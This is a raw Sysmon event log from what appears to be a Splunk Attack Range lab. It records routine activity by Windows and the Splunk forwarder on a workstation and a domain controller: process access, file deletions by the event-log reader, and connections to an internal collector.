14:53:36.362{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015545Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:36.362{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015544Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:36.362{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7170-613B-DA04-00000000F101}3332C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015543Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:36.363{625C326B-7170-613B-DA04-00000000F101}3332C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000015542Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:36.253{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=218D5D6CD9751E8C1656EC0966D93F16,SHA256=3B67F8C8C8A9AFF03BE495171BBDEA95263682027ED438296EB4BFEAD8B1B8AD,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015541Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:36.025{625C326B-716F-613B-D904-00000000F101}38963832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000015558Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:37.925{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=97309076D90F3A517FB85853E5FDE58E,SHA256=00F6FFD363A65065E2ACDA62FE69EAEC6CE4B4C7204425D18FD8DA99AE266DD5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047869Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:37.049{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E0ECCECA69F61166E9183FA19C5EBF0C,SHA256=2BD203DC37DBDCBECA577C2A5E6D61EB8990452A5E55A1F891960DE4F2E13726,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015557Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:37.378{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=9CCEA9EC2098A31957C21812FEFB39CB,SHA256=6D12F7B6440A6FFB753E794D9B6110FA4CA19C899C1EDB4B8FD49C098AD1ABA4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015559Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:38.940{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B83733575082ED6B1D2F94051A13E7FC,SHA256=61F3EC3BE85285E3999DAB6650A8FA87E7D65E1BB2A06AC3140A0F05192D16C2,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047871Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:35.562{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59423-false10.0.1.12-8000- 23542300x800000000000000047870Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:38.112{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F5B9A03BF8D4AC4411F569178BF6F566,SHA256=8CB1F71108C1B1B2D1BE3D5B59628A66BAD175A58F70B09F12134FE2E6396C48,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047872Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:39.330{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F944467569DA9290563A67C59A409850,SHA256=4B202F89D398911CB3A59F429350BF46728422149C290F22AB9AD4755AB4E158,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047873Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:40.471{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C8AE1E5726BD9143B752E9253F37F384,SHA256=51796296067D60F8CC2ABB1DEC6176B2EF93BFD495FE8B897513AF948EF867AC,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015561Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:39.545{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50229-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015560Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:40.003{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AC5676A7DE58E5D3D21497D9DD23F8C4,SHA256=8111BF0264801AFE919887237DEEB015E146531422AC51A8A8A22984763D493C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047876Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:41.674{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=5B2915488DA48EA22C55603F0EED1FE2,SHA256=72C195008C76087A9AABC1BE7E9BCF30AE5EB3406CE840E70FCEF030F92DBDA5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047875Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:41.674{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=91BDBFCE119D993E90554BB5E283B708,SHA256=A0A3FBB682C9F454F69E150714ABC7CA77E9CB325534BAA6204B15CD1D49B125,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047874Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:41.487{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F7200A46431BE89DE215BE5C4E1E282C,SHA256=EE107A6674256DA5658907424076F640E2750E44124E5DB2D11968B5989F5827,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015562Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:41.065{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FCDCA1E04551C9DA7A3FEE08A22FCDFE,SHA256=F35BBAC0800CC8BABB52898674F82E289478BB8DA45466C0432418E4837F3FB4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047877Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:42.549{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AE7D8A50BC391F826353888542FDB429,SHA256=8C312A16288E4179F4495A8619B9866C471F47785AD5E534C990B347109169C1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015563Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:42.096{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=11E23BE1B3171543D4381CE581D1126D,SHA256=9E627A17964FA23C834540C307A5C796262AA00D1049438140EE337F6FA44A88,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047878Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:43.705{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DB802FFE7DAF0B1A5BDB6439C0CBA918,SHA256=DF767634E7A66FF422C1254DBE622F10961B05CBC5756955445B392FD1788CD5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015564Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:43.143{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3A7AD292074BB7C72224E208637AFC48,SHA256=8C6CC463FAA432E329E8C130A19F81339835DE58B408EF4911A12D9AFC3A7D8B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047880Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:44.721{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D43ABA6AB612CCD9294704E7D0459FDD,SHA256=96D86F20437E7A29E15E4E39473EB99D3D46E40A3969054517B8AB3866B58734,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015565Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:44.143{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=654ECF64C7700ECC241D30439ABC5B41,SHA256=3AA1CB04E959F7B03C5371F9D88F463AF8C5E40801EF3C3B62482AFED8F3B02C,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047879Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:41.515{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59424-false10.0.1.12-8000- 23542300x800000000000000047881Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:45.736{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E0823C41A76219AED0C4F18B97D91782,SHA256=5C98AAC5359FEF15849DC0B57EA12F749BF0C5C5E0C9FE0BEE0770F03731EE7B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015566Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:45.190{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=773B8C6EABE62988524FABEF901C14FB,SHA256=7D7FF3712DB5AE5CB26EDD79A01CC32BCFFD21E8D387FD0483E06644FC0E5A74,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047882Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:46.752{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=12748E16407CFABADC1190092B007E9F,SHA256=5F54E13E8614464D5BC2CF1EE66C1F8C7B21E6A5C650C071B188D6FB63347775,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015568Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:45.358{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50230-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015567Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:46.206{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=63DEFE490490D1793750C07CD9A289D2,SHA256=AC6E8B0786C13F70B1F9413109CEBC2A751431248D69A25D9A7C4BCA5A314D59,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047883Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:47.753{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=90096020CB05B6904F72758BDA783B1E,SHA256=1A8819A1EBFEED7E9EB3A995A63966414259BB2E5DF157FADE05E2F4AA0311C6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015569Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:47.237{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E4E92460E7A13F1EA0FB9D2EEEB81B93,SHA256=1908BAB7688FDE0A139B1B90867EAEB40CBC4FBD80C697C975E461A69A999E8C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047884Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:48.769{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BC9F2EBB12D2E81783522F1474961A40,SHA256=93BE52B61F34EFBA5DFE03CF3D7FB3350F1F8044ED77F596E2CD9F2401DC76C8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015570Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:48.253{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EC7C548164277A580389A55CE1CED4F0,SHA256=6D7593665154D4DCE14DF52F492370384A259EF67B3048FD23E305C57428A1BE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047886Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:49.785{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0D638E6ECF4376520A99C8B8ADE46281,SHA256=4EDBC2474F3B6C8793E3EB709A6011C5E38C78884079CB342D256F6C23A4374D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015571Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:49.300{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FE4E6D02F121F96381EBA28ABA184946,SHA256=7E7942A73A67066E16E565C4EF2E7A8D6336C10EC4730261CAB4C691166D16F1,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047885Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:47.376{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59425-false10.0.1.12-8000- 23542300x800000000000000047887Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:50.918{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1051D1FD07C70D567CFE0AE941A97A79,SHA256=301368D92E94D5926F495236F2F8077B90EF94EFBA559ED9C40B5AFF7C8B29C3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015572Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:50.315{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EFFA6153DFBA6EEF83CA9BA11C35046A,SHA256=5EF4C5C3EA7AFBCCB9F49D14F6E51B8450052A756AB8322938B6C0F8CB8BD95B,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015574Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:50.468{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50231-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015573Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:51.340{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C26C6635F5E91851156D3F2508634441,SHA256=C042EA3FE7AB5AE8844805B0CD1478B402D4AED3F084BB7256BA3DD35464C1AD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015575Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:52.371{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8B24268384B6273C423C969C4CBE8CB5,SHA256=5676A893E9B98750D02CD07D39284CB7BF290EA12CBD6466B84F891F49D787F3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047888Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:52.090{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FBFD99197A0BDAA890D0C96FCD7BF975,SHA256=BA9355DBD071101BAF5D09B4AA4B83ECE5F47B643CE933A56A9B973DDD16EAE4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015576Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:53.403{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8DD2DB73CFB285F5C72E5825EEAF4E36,SHA256=17C7849349F4914CCCE6E7CCDDFE661A62826A3BD0C8F715D35D660C50A6B234,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047889Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:53.183{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2E55BCDFF5AB8D43174681C6A67C64C2,SHA256=9E80F76F0FB52ADA896D6C3F04FAFA1BD05DFE0FA02E928EB311E2BE6DD55749,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015578Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:54.903{625C326B-6879-613B-A400-00000000F101}2004NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 